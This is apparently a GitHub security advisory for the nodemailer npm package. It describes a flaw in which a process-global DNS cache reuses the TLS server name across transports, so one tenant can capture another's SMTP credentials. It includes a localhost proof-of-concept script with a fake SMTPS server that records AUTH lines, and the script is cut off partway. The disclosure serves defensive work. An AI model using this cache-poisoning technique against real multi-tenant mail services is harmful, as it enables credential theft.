GitHub Advisoryadvisory · npm
GHSA-6vj9-mwq6-2f5v Nodemailer: Process-global DNS cache reuses TLS `servername` across transports, enabling cross-tenant SMTP credential disclosure
MEDIUM
Official page ↗
- Ecosystem
- npm
- Packages
- nodemailer
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N
- Weaknesses
- CWE-295
- Reviewed
- 2026-09-28
Affected packages
• npm nodemailer: >= 5.0.0, < 10.0.2 → fixed in 10.0.2
Description
Summary
Nodemailer's process-global DNS cache is keyed only by `host`, but each cache entry also stores the caller-specific TLS `servername`. When two direct SMTPS transports use the same DNS host with different `tls.servername` values, the first transport's server name is returned to the second transport and overwrites its explicitly configured value.
As a result, Nodemailer sends the wrong SNI value and verifies the peer certificate against the wrong identity. In a multi-tenant service or SNI-routed SMTP gateway, one tenant can prime the cache so that a victim transport connects to the attacker's TLS virtual host, accepts the attacker's certificate with `rejectUnauthorized: true`, and sends the victim's SMTP credentials to it.
Affected component
• Ecosystem: npm
• Package: `nodemailer`
• Repository: https://github.com/nodemailer/nodemailer
• Tested version: `10.0.1`
• Tested commit: `40d52215aac65b811d7e131bc916f68605efd9d2`
• Runtime-confirmed vulnerable versions: `5.0.0` and `10.0.1`
• Affected versions: `>= 5.0.0, ();
```
Although the cache key contains only `host`, the cached value contains both DNS addresses and the request-specific TLS identity:
```ts
const value: DnsCacheValue = {
addresses: allAddresses,
servername: options.servername || host
};
dnsCache.set(host, {
value,
expires: Date.now() + (options.dnsTtl || DNS_TTL)
});
```
On a cache hit, `resolveHostname()` returns the cached `servername` without considering the current call's `options.servername`:
```ts
if (!cached.expires || cached.expires >= now) {
return callback(
null,
formatDNSValue(cached.value, {
cached: true
})
);
}
```
`formatDNSValue()` copies that stale value into the result:
```ts
return Object.assign(
{
servername: value.servername,
host,
_addresses: addresses
},
extra || {}
);
```
For a direct TLS connection, `SMTPConnection.connect()` initially copies the current transport's TLS configuration into `opts`. `_resolveAndConnect()` then overwrites every truthy field with the cached resolver result, including `opts.servername`:
```ts
Object.assign(opts, this.options.tls || {});
if (this.servername && !opts.servername) {
opts.servername = this.servername;
}
return this._resolveAndConnect(opts, resolved => {
this._connectToHost(opts, this.secureConnection);
});
```
```ts
for (const key of Object.keys(resolved!)) {
if (key.charAt(0) !== '_' && (resolved as { [key: string]: any })[key]) {
(opts as { [key: string]: any })[key] = (resolved as { [key: string]: any })[key];
}
}
```
The resulting `opts` object is passed to `tls.connect()`. Node therefore sends the cached server name as SNI and verifies the certificate against that cached name, rather than against the server name explicitly configured for the current transport.
The default DNS cache TTL is five minutes:
```ts
const DNS_TTL = 5 * 60 * 1000;
```
Code path
```text
Tenant A: createTransport({ host: H, secure: true,
tls: { servername: attackerName } })
-> SMTPConnection.connect()
-> _resolveAndConnect(opts)
-> shared.resolveHostname({ host: H, servername: attackerName })
-> dnsCache.set(H, { addresses, servername: attackerName })
Victim: createTransport({ host: H, secure: true,
tls: { servername: victimName } })
-> SMTPConnection.connect()
-> opts.servername = victimName
-> _resolveAndConnect(opts)
-> shared.resolveHostname({ host: H, servername: victimName })
-> dnsCache.get(H)
-> returns cached servername = attackerName
-> _resolveAndConnect overwrites opts.servername
-> tls.connect({ servername: attackerName })
-> attacker SNI virtual host and certificate are selected
-> AUTH transmits victim SMTP credentials
```
Relevant source locations in the tested revision
• `src/shared/index.ts:184` — five-minute default cache TTL
• `src/shared/index.ts:245` — process-global cache keyed by host
• `src/shared/index.ts:247-262` — cached `servername` returned by `formatDNSValue()`
• `src/shared/index.ts:292-323` — host-only lookup and cache-hit return
• `src/shared/index.ts:350-359` — caller-specific `servername` stored in host-only cache
• `src/smtp-connection/index.ts:713-729` — direct TLS options and resolver call
• `src/smtp-connection/index.ts:741-763` — cached fields overwrite current connection options
PoC
Prerequisites
• Node.js 20 (tested with Node.js `20.20.2`)
• A checkout/build of Nodemailer `10.0.1`
• OpenSSL to generate the local test certificate
No external SMTP server or network access is required.
1. Generate a certificate for only `attacker.test`
Create `openssl.cnf`:
```ini
[req]
distinguished_name = dn
x509_extensions = ext
prompt = no
[dn]
CN = attacker.test
[ext]
subjectAltName = DNS:attacker.test
basicConstraints = critical,CA:TRUE
keyUsage = critical,digitalSignature,keyEncipherment,keyCertSign
extendedKeyUsage = serverAuth
```
Generate the certificate and private key:
```bash
openssl req -x509 -newkey rsa:2048 -nodes -days 1 \
-keyout attacker-key.pem -out attacker-cert.pem -config openssl.cnf
```
2. Save the following as `poc-dns-cache-servername-confusion.mjs`
Adjust the two import paths if the PoC is not saved beside the repository checkout.
```js
import fs from 'node:fs';
import tls from 'node:tls';
import nodemailer from '../../nodemailer/dist/esm/nodemailer.js';
import * as shared from '../../nodemailer/dist/esm/shared/index.js';
const cert = fs.readFileSync(new URL('./tls-fixture/attacker-cert.pem', import.meta.url));
const key = fs.readFileSync(new URL('./tls-fixture/attacker-key.pem', import.meta.url));
const observedSni = [];
const observedAuth = [];
const server = tls.createServer({ key, cert }, socket => {
observedSni.push(socket.servername);
socket.write('220 attacker.test ESMTP\r\n');
let input = '';
socket.on('data', chunk => {
input += chunk.toString();
let end;
while ((end = input.indexOf('\r\n')) >= 0) {
const line = input.slice(0, end);
input = input.slice(end + 2);
if (/^EHLO /i.test(line)) {
socket.write('250-attacker.test\r\n250 AUTH PLAIN\r\n');
} else if (/^AUTH /i.test(line)) {
observedAuth.push(line);
socket.write('235 2.7.0 Authentication successful\r\n');
} else if (/^QUIT/i.test(line)) {
socket.end('221 Bye\r\n');
} else {
socket.write('250 OK\r\n');
}
}
});
});
await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));
try {
shared.dnsCache.clear();
// Tenant A seeds the process-global cache for the shared DNS host.
const attackerTransport = nodemailer.createTransport({
host: 'localhost',
port: server.address().port,
secure: true,
auth: { user: '[email protected]', pass: 'attacker-secret' },
tls: {
ca: cert,
servername: 'attacker.test',
rejectUnauthorized: true
}
});
await attackerTransport.verify();
attackerTransport.close();
// The victim explicitly configures a different TLS identity.
const victimTransport = nodemailer.createTranspo…
Related
Weakness · CWE (1)
- CWE-295 Improper Certificate Validation weakness